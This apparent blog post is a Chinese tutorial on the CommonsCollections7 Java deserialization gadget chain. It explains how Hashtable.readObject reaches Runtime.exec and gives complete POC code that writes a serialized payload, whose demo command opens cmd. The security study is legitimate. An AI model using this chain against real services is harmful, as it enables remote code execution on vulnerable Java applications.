环境准备

JDK1.8(8u421)我以本地的JDK8版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)

cc3.2:

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>

正文

CC7是CC6的一个变种,在 *CC7*(CommonsCollections7)攻击链中,使用HashTable替换了CC6中的HashMap结构,下边来介绍一下HashTable是怎么替代HashMap来完成反序列化操作的。

HashTable

Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,可以说HashTable是一种阉割版的HashMap。也可以这么理解:HashtableHashMap 的简化版,提供了类似的功能,但在一些方面做了限制和差异化设计。

站在应用的角度上来分析一下这两个类主要的区别,如果不理解的话可以去查一下对应的资料,这个并不影响Java安全的学习。

HashtableHashMap 的主要区别

  1. 线程安全性

    • Hashtable:是线程安全的。所有的方法都是同步的,因此多个线程可以同时访问 Hashtable,而不需要额外的同步控制。但同步会带来性能上的开销。
    • HashMap:不是线程安全的。如果多个线程同时访问 HashMap,并且至少一个线程修改了映射关系,必须外部加锁来保证线程安全。
  2. Null 键和值
    • Hashtable:不允许 null 键或 null 值。如果你尝试插入 null 键或值,会抛出 NullPointerException
    • HashMap:允许一个 null 键和多个 null 值。可以使用 null 作为键或者值来存储元素。
  3. 性能
    • Hashtable:由于方法是同步的,线程安全保证会导致在多线程环境下性能较差。
    • HashMap:性能更高,因为它不是线程安全的,在单线程或外部管理同步的环境下,HashMap 的性能优于 Hashtable
  4. 迭代器
    • Hashtable:使用的是 Enumerator,这种迭代器比较古老,并且不支持 remove() 方法。
    • HashMap:使用的是 Iterator,它是现代 Java 集合框架的一部分,支持 remove() 方法,可以更加灵活地操作元素。
  5. 子类
    • HashtableHashtable 是一个较旧的类,是 Dictionary 类的子类。Dictionary 在现代 Java 中已经不推荐使用,更多的是通过 Map 接口来实现。
    • HashMapHashMapMap 接口的实现,更加现代化,也是 Java 集合框架的核心组成部分。
  6. 底层实现
    • HashMap 在底层使用了 数组 + 链表 + 红黑树 的结构,JDK 1.8 开始,HashMap 引入了 红黑树 来优化冲突处理,这样做是为了提高查找效率,特别是在哈希冲突非常严重的情况下。红黑树提供了 O(log n) 的查找、插入和删除操作,而链表则是 O(n) 的。
    • Hashtable 它的底层结构主要由 数组 + 链表 组成,它在发生哈希冲突时的查找效率较低,最坏情况下是 O(n),而 HashMap 在严重冲突时会通过红黑树将查找效率降到 O(log n),这使得 HashMap 在处理大量数据时具有更好的性能。

分析可利用代码

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
......
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
// 重点看这个方法,就是这里触发了漏洞利用
reconstitutionPut(table, key, value);
}
......
} private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
......
// 这个调用了key的hashCode,如果key是构造好的TiedMapEntry攻击链,则会攻击链代码被执行
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

如果你对原理不太理解,可以参考CC5中的攻击链构造过程:https://www.cnblogs.com/erosion2020/p/18555069

POC编写

这里ysoserial的代码写的还是比较繁琐的,这里给出两种写法,其中cc7bySimplify的代码是简化版本的,其中cc7byYsoSerial代码是ysoserial中的代码去掉工具类的版本。

可以先分析cc7bySimplify中的代码,待到有一点感觉后再去分析cc7byYsoSerial,其实代码都是一样的。但是ysoserial写的代码稍微有点绕。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map; public class CommonsCollections7 {
static String serialFileName = "commons-collections7.ser";
public static void main(String[] args) throws Exception {
// cc7bySimplify();
cc7byYsoSerial();
verify();
}
public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
} public static void cc7bySimplify() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs})};
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); // 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
//TODO===========================CC7新的触发点 START=============================
Hashtable hashtable = new Hashtable();
hashtable.put(entry, 1);
lazyMap.clear();
//TODO===============================CC6新的触发点 END=========================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
} public static void cc7byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{});
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs})};
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
//TODO===========================CC7新的触发点 START=============================
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2); // 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers); // Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy"); //TODO===============================CC6新的触发点 END=========================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
}
}

调试

弹个cmd窗口

调用链总结(简化版 - cc7bySimplify)

  • ObjectInputStream.readObject()

    • HashTable.readObject()
    • HashTable.reconstitutionPut()
      • TiedMapEntry.hashCode()
      • TiedMapEntry.getValue()
        • LazyMap.get()

          • ChainedTransformer.transform()

            • ConstantTransformer.transform()
            • InvokerTransformer.transform()
              • Method.invoke()
              • Class.getMethod()
            • InvokerTransformer.transform()
              • Method.invoke()
              • Runtime.getRuntime()
            • InvokerTransformer.transform()
              • Method.invoke()
              • Runtime.exec()

CommonsCollections7(基于ysoserial)的更多相关文章

  1. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  2. Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)

    Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...

  3. 基于CommonsCollections4的Gadget分析

    基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...

  4. ysoserial Commons Collections1反序列化研究

    Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...

  5. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  6. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  7. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  8. ysoserial exploit/JRMPClient

    ysoserial exploit/JRMPClient 上一篇文章讲到,当服务器反序列化payloads/JRMPListener,即会开启端口监听.再使用exploit/JRMPClient模块发 ...

  9. ysoserial payloads/JRMPClient

    ysoserial payloads/JRMPClient 环境:JDK8u102 payloads/JRMPClient可以配合exploit/JRMPListener模块来使用 1.在自己服务器上 ...

  10. Ysoserial Commons Collections7分析

    Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...

随机推荐

  1. Linux 更新 TeX Live

    更新 TeX Live 假设你的旧版 TeX Live 版本号为 2023,新版 TeX Live 版本号为 2024.你需要在下面的命令中相应地更改实际版本号.TeX Live 版本可以通过 tlm ...

  2. Ubuntu 设置 SMB 服务

    安装 Samba 包 sudo apt install samba samba-common 创建用于 SMB 共享的文件夹 sudo mkdir /usr/local/volumes # 新建用于共 ...

  3. Java 实现线程的方式有几种方式?带有返回值的线程怎么实现?

    Java 实现线程的方式有几种方式?带有返回值的线程怎么实现? 在Java线程开发中,有几种方法开启线程?假如需要得到线程返回的信息怎么办?可以实现吗?凯哥将通过源码和大家一起分享下线程怎么将返回值带 ...

  4. Android升 Androidx 语系切换失效

    背景: 一个很旧的Android项目,android升androidx 切换语系失败,debug的时候,传的语系值是对的,但是确实没有国际化效果 原因: 经过一番学习,原因是使用 implementa ...

  5. smiley-http-proxy-servlet 转发https至 http网页访问

    转发 https -> http 网页访问 正常的smiley-http-proxy-servlet 写法, 可以转发https接口到http,http接口到http,http访问转发至http ...

  6. idea 的Tomcat 的简单配置

    不限速网盘下载: https://kohler.lanzouv.com/iSSfc0akw3vc 官网下载: https://tomcat.apache.org/download-80.cgi 正常解 ...

  7. CEIT算法训练-双指针部分题解(全12题)

    代码宏定义以及框架约定 #include <bits/stdc++.h> using namespace std; #define IOS ios_base::sync_with_stdi ...

  8. vue源码解析-实现一个基础的MVVM框架

    基本介绍 vue.js采用数据劫持结合发布-订阅模式的方式,通过Object.defineProperty()来劫持各个属性的getter,setter,在数据变动时发布消息给订阅者,触发响应的监听回 ...

  9. JavaScript——事件监听

    事件监听      1.事件绑定        2.常见事件     

  10. 暑假集训CSP提高模拟2

    A.活动投票 主元素问题,用摩尔投票 #include<bits/stdc++.h> using namespace std; int n,a=-1,acnt,x; int main(){ ...